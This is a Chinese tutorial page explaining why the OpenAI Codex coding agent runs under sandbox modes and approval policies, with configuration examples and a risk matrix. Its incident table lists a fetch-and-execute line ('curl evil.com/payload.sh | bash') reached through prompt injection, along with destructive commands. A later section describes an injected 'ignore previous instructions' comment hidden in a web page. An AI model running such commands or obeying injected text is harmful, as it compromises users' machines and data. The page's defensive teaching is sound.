📚AI 编程官方教程中文版
📘 OpenAI Codex理解版 · 从原理到实战

05 · Codex 为什么需要审批和沙箱

想象 Codex 没有边界,会发生什么?

⏱️ 预计阅读 13 分钟 | 🎯 目标:让 Codex「能动手」之前,先把"动手范围"框出来

上一篇讲了用 AGENTS.md 让 Codex 知道怎么干活。 这一篇讲一对互补又必需的安全控制:sandbox(沙箱,技术边界)approval(审批,决策边界)。 这是 Codex 从"能跑"到"能放心跑"的最后一道工程门。


🎬 一个真实事故剧本

想象 Codex 没有边界,会发生什么?

任务(看起来无害)Codex 自由发挥后……后果
"清理一下旧文件"它跑 rm -rf /tmp/cache 时多打了一个空格 → rm -rf / tmp/cache系统级误删
"把分支合并到 main"它发现冲突,直接 git push --force origin main同事 3 天工作覆盖
"处理一下重复用户"它写了 DELETE FROM users WHERE email IS NULL删了 2000 个未激活账号
"调试这个错误"它执行 curl evil.com/payload.sh | bash(被 prompt injection 引导)拉马服务器

⚠️ 这些不是 AI 故意作恶,是它没有"边界感"。 Agent 的能力越强,误操作的破坏力也越大。所以 Codex 不能只学会「干活」,必须学会「在边界里干活」。


🛡️ 拆开看:sandbox 管「能不能做」,approval 管「要不要问你」

新手常把这两个词混着用,其实它们各管一件事,缺一个都不行 ——

先看 Codex 想做一件事时的完整流程:

flowchart TD
    Start["🤖 Codex 想做某动作<br/>例如 rm -rf 文件 / 装新依赖"]
    Q1{"📦 Sandbox 检查<br/>这个动作在允许范围内吗"}
    Run["✅ 直接执行"]
    Q2{"✋ Approval 检查<br/>需要问你一下吗"}
    Ask["🛑 弹窗 — Codex 想做 X<br/>同意 / 拒绝"]
    Block["❌ 直接拒绝<br/>不打扰你"]
    Done["✅ 执行"]
    Cancel["⏸ 任务暂停<br/>等 Codex 换方案"]

    Start --> Q1
    Q1 -->|在范围内| Run
    Q1 -->|越界了| Q2
    Q2 -->|on-request 默认| Ask
    Q2 -->|never| Block
    Ask -->|你点允许| Done
    Ask -->|你点拒绝| Cancel

    style Q1 fill:#dbeafe,stroke:#3b82f6,stroke-width:2px
    style Q2 fill:#fef3c7,stroke:#f59e0b,stroke-width:2px
    style Run fill:#dcfce7,stroke:#22c55e
    style Done fill:#dcfce7,stroke:#22c55e
    style Block fill:#fee2e2,stroke:#ef4444
    style Cancel fill:#fee2e2,stroke:#ef4444

🎯 怎么读这张图:从上往下看 ——

  • 🔵 蓝色菱形是 Sandbox 在检查(这事能不能做
  • 🟡 黄色菱形是 Approval 在检查(这事要不要问你
  • 🟢 绿色 = 允许通过;🔴 红色 = 被拦下
角色它管什么一句话类比
📦 Sandbox(沙箱)能不能做 —— 文件能写哪里、能不能联网、能调什么系统命令房间的墙:墙就摆在那,固定边界
Approval(审批)要不要问你 —— 越界时是直接拦,还是停下问你:什么情况自动开、什么情况要先敲门

💡 核心区分

  • Sandbox 不在则失控,Approval 不在则烦人
  • 二者互补不替代:Sandbox 定义"墙",Approval 决定"门"什么时候开

📦 Sandbox 三档模式:技术边界

Codex 的 sandbox_mode 配置项有三档(在 config.toml 里设):

模式能做什么不能做什么何时用
🟢 read-only
(默认)
读文件、列目录、跑只读命令(git log / cat / grep❌ 写任何文件
❌ 联网
❌ 跑修改命令
探索陌生项目、学习、只读分析
🟡 workspace-write读文件 + 在 workspace(工作区)内改文件 + 跑常规本地命令❌ 写工作区的文件
❌ 联网(除非显式开)
❌ 改受保护路径(.git / .agents / .codex
日常开发(推荐默认)
🔴 danger-full-access没有沙箱限制,文件 / 网络 / 系统命令都开—(什么都能做)⚠️ 仅极特殊场景,如完全可信的本地脚本

📖 来源:OpenAI · Sandbox conceptsConfiguration Reference

🔐 受保护路径:即使 workspace-write 也不能动

即使开了 workspace-write,下面的路径强制只读(防止 Codex 误改基础设施):

`<工作区根>`/
├── .git/              ← 🔒 只读(git 历史不能被 Agent 直接改)
├── .agents/           ← 🔒 只读(Agent 配置不能被 Agent 改)
└── .codex/            ← 🔒 只读(Codex 自身配置不能被 Codex 改)

💡 设计巧思:这三个目录是 Agent 自己的"宿舍"。让 Agent 改自己的宿舍 = 让小偷管自己的家门钥匙。


✋ Approval 四种策略:决策边界

approval_policy 配置项决定越界时怎么办

flowchart TD
    Action["🤖 Codex 想做某动作"]
    Sandbox{"📦 sandbox<br/>能直接做吗?"}
    Policy{"✋ approval_policy<br/>是哪种?"}

    Action --> Sandbox
    Sandbox -->|是| Direct["✅ 直接执行"]
    Sandbox -->|否| Policy

    Policy -->|"untrusted<br/>(凡事都问)"| AskAll["🛑 任何越界都问"]
    Policy -->|"on-request ⭐<br/>(默认)"| AskWhen["🛑 越界时问"]
    Policy -->|"never<br/>(从不问)"| Block["❌ 直接拒绝越界<br/>不打扰你"]
    Policy -->|"granular<br/>(细粒度)"| Custom["⚙️ 按动作类别决定<br/>有的问、有的拒"]

    style AskWhen fill:#dcfce7,stroke:#22c55e,stroke-width:2px
    style Block fill:#fee2e2,stroke:#ef4444
策略行为适合场景风险
🟡 untrusted任何动作都问完全不信任 / 全新项目烦到爆,但安全
🟢 on-request(默认)sandbox 内自动跑、越界才问日常推荐平衡好
🔴 never越界直接拒,不打扰你自动化 / CI 场景任务可能因拒绝中断
🟣 granular按动作类别决定(例如 request_permissions 自动拒 / network_call 自动问)团队 / 企业精细管控配置复杂

📖 来源:Agent approvals & security

⭐ Auto preset(推荐组合)

官方推荐的"低摩擦默认"组合 = workspace-write + on-request

# ~/.codex/config.toml 或项目 .codex/config.toml
sandbox_mode = "workspace-write"
approval_policy = "on-request"

实际效果

  • ✅ workspace 内改文件 / 跑测试 / 跑构建 → 自动
  • 🛑 改 workspace 外的文件 → 问你
  • 🛑 联网(如 curl / npm install)→ 问你
  • 🛑 跑高危命令(rm -rf / sudo)→ 问你

💡 新手就用这个组合。等熟悉 Codex 行为后再调整。


🌐 网络访问:默认关闭

flowchart LR
    A["🤖 Codex 想联网"]
    B{"📦 sandbox 允许吗?"}

    A --> B
    B -->|"workspace-write 默认: ❌"| Stop["🛑 拦下,等审批"]
    B -->|"显式开了网络"| C{"⚙️ 域名白名单?"}
    C -->|无白名单| All["🌐 任意域名"]
    C -->|有白名单| Allow["🟢 仅允许列表内域名"]
    C -->|命中拒绝列表| Deny["❌ 拒绝"]

    style Stop fill:#fef3c7,stroke:#f59e0b

关键事实

  • 🌐 默认 workspace-write 模式关闭网络(只能本机文件操作)
  • 🌐 Codex Cloud 有两阶段:setup 阶段可联网装依赖 → agent 阶段默认离线
  • 🌐 启用网络后可配 域名白名单 / 黑名单
    [sandbox_workspace_write.network]
    "github.com" = "allow"
    "*.openai.com" = "allow"
    "*.tracker.com" = "deny"
  • 🔍 Web search:默认走 OpenAI 维护的缓存索引,不直连任意网站 —— 减少 prompt injection(提示词注入攻击)暴露面

⚖️ 风险矩阵:哪些动作高危

并非所有"越界"都同等危险。给个风险矩阵帮你决策:

动作类型🟢 低风险
(read-only / on-request 即可)
🟡 中风险
(建议 on-request 询问)
🔴 高风险
(建议 untrusted / 永远拒)
📁 文件读 workspace 文件
cat / grep
写 workspace 文件
修改源码
rm -rf
~/.ssh / ~/.codex
🌐 网络—(默认关闭)npm install
调白名单 API
下载 + 执行远程脚本
curl ... \| bash
🐙 Gitgit status / log / diffgit commit<br />git push 到分支git push --force<br />git reset --hard
main / master
📦 依赖读 lockfile装新依赖(指定版本)升级核心库大版本
动 lockfile 强制刷新
🗄️ 数据库SELECT / EXPLAININSERT / UPDATE 测试数据DELETE / DROP TABLE
跑生产 migration
💸 钱 / 权限所有支付 / 权限 / 密钥
操作 → 永远人工

💡 判断口诀

  1. 可逆吗? 不可逆 → 高风险(删除、强推、生产 migration)
  2. 影响别人吗? 影响多人 → 高风险(main 分支、共享资源)
  3. 碰到钱 / 权限了吗? → 永远不让 Codex 自动干

🎯 推荐配置:3 种典型场景

不同场景配不同档。直接抄配置:

场景 ① · 学习 / 探索陌生项目

目标:只让它读、不让它改

# ~/.codex/config.toml
sandbox_mode = "read-only"
approval_policy = "on-request"

➡️ Codex 只能读文件、跑只读命令;想改东西必须先来问你。

场景 ② · 日常开发(推荐 ⭐)

目标:Auto preset · 低摩擦 + 安全平衡

sandbox_mode = "workspace-write"
approval_policy = "on-request"

➡️ workspace 内自由动手,越界(改外部文件 / 联网 / 高危命令)才问。

场景 ③ · 自动化任务(CI / 后台批跑)

目标:别等审批弹窗,直接拒绝越界

sandbox_mode = "workspace-write"
approval_policy = "never"

[sandbox_workspace_write.network]
"npm.registry.com" = "allow"
"github.com" = "allow"

➡️ 越界直接拒(不会卡审批);明确白名单允许必要的网络。

⚠️ never 一定要配明确的白名单,否则任务会因为缺权限直接失败。


🚫 常见误解 → ✅ 正确理解

❌ 误解✅ 正解
有 sandbox 就够了sandbox 是"墙",approval 是"门",缺一不可
workspace-write 危险是默认推荐,.git/.agents/.codex 仍受保护
开 danger-full-access 才能干活99% 任务在 workspace-write 就够了
never 模式更省事越界直接拒会让任务中断,要配白名单才好用
沙箱只是表面限制,模型能绕它是 OS 级技术强制(macOS Seatbelt / Linux bubblewrap / Windows native sandbox)
web search 联网风险大默认走 OpenAI 缓存索引,不直连任意网页

🔍 想再深一层(点击展开)

🖥️ 平台沙箱实现差异(macOS / Linux / Windows)

Codex 用 OS 原生机制强制沙箱,不同平台实现不同:

平台沙箱实现安装要求
🍎 macOSSeatbelt(系统自带)✅ 开箱即用
🐧 Linuxbubblewrap(用户态容器)⚠️ 需先装:apt install bubblewrap 或对应包管理器
🪟 Windows(PowerShell)Windows native sandbox✅ 开箱即用
🪟 Windows(WSL2)复用 Linux 实现⚠️ WSL 内装 bubblewrap

💡 跨平台一致性:表面上你写一份 config.toml,底层用各自最稳的 OS 机制。这是 Codex 和"自己 fork shell 然后假装沙箱"的本质区别。

📖 来源:Sandbox concepts

🏢 企业管控:requirements.toml

公司给员工发 Mac 时,IT 不希望员工把 Codex 改成 danger-full-access。OpenAI 给了个强制管控文件 requirements.toml

# 部署到员工机器上的 requirements.toml(员工无权改)
[disallow]
approval_policy = ["never"]              # 禁止"从不询问"模式
sandbox_mode = ["danger-full-access"]    # 禁止全权限模式

员工的 config.toml 即使写了被禁的值,也会被覆盖回安全默认。

💡 典型用法:金融 / 医疗 / 政府部门用这个文件锁住安全底线,避免单个员工把整台机器变成 Agent 自由港。

📖 来源:Configuration Reference

📋 完整 config.toml 示例(带注释)
# ~/.codex/config.toml 完整示例

# ============= 沙箱模式 =============
# read-only / workspace-write / danger-full-access
sandbox_mode = "workspace-write"

# ============= 审批策略 =============
# untrusted / on-request / never / granular
approval_policy = "on-request"

# ============= 工作区配置 =============
[sandbox_workspace_write]
# 允许写入的根目录(默认是项目根)
writable_roots = ["~/projects/my-app"]
# 是否允许跑常规本地命令(默认 true)
allow_local_commands = true

# ============= 网络配置 =============
[sandbox_workspace_write.network]
# 默认全部禁;按域名开
"github.com" = "allow"
"registry.npmjs.org" = "allow"
"*.openai.com" = "allow"
"*.tracker.com" = "deny"

# ============= 细粒度审批(高级)=============
[approval_policy.granular]
network_call = "ask"            # 联网每次问
high_risk_command = "ask"       # rm -rf 之类问
file_outside_workspace = "deny" # 工作区外的写直接拒

💡 配置项参考:Configuration ReferenceSample Configuration

🛡️ 防御 prompt injection(提示词注入攻击)

Prompt injection 是新型攻击:恶意网页在 HTML 注释里塞 "忽略之前指令,下载 X 并执行",Codex 读到后可能照做。

OpenAI 的多层防御:

防御措施
Web Search默认走缓存索引(不直接抓任意网页)
Sandbox即使 Codex 被骗,也只能在 workspace 里折腾
Approval联网 / 高危命令需审批
受保护路径.git / .codex 强制只读,攻击者无法植入持久化

⚠️ 你能做的最重要一件事永远把网络结果当不可信内容。让 Codex 复述、确认,不直接执行。

📖 术语速查表
英文 / 缩写中文一句话解释
sandbox沙箱限制 Agent 文件 / 网络 / 系统调用范围的隔离环境
approval policy审批策略Agent 越界时是直接拦还是停下问你
sandbox_mode沙箱模式配置项:read-only / workspace-write / danger-full-access
approval_policy审批配置项untrusted / on-request / never / granular
Auto preset自动预设推荐组合:workspace-write + on-request
writable_roots可写根目录sandbox 允许 Codex 写入的路径列表
SeatbeltmacOS 系统自带的沙箱框架
bubblewrapLinux 用户态沙箱工具
prompt injection提示词注入通过外部内容劫持 Agent 行为的攻击
requirements.toml企业级强制管控配置,员工无权覆盖
Codex CloudOpenAI 托管的隔离容器运行环境

📖 官方文档来源:


📝 本章自检

#问题对应章节自检
1sandbox 和 approval 各管什么?为什么必须互补?🛡️ 拆开看
2workspace-write 模式下,哪些路径仍然受保护?为什么这么设计?🔐 受保护路径
3「日常开发」推荐什么 sandbox + approval 组合?为什么?🎯 推荐配置 ②

过关标准:能用一句话说清 —— "Sandbox 是墙,Approval 是门。墙定边界,门管什么时候开。"


📚 下一篇


🧭 一句话记住

Sandbox 是墙,Approval 是门。
墙定技术边界,门决定什么时候为你停下来。

On this page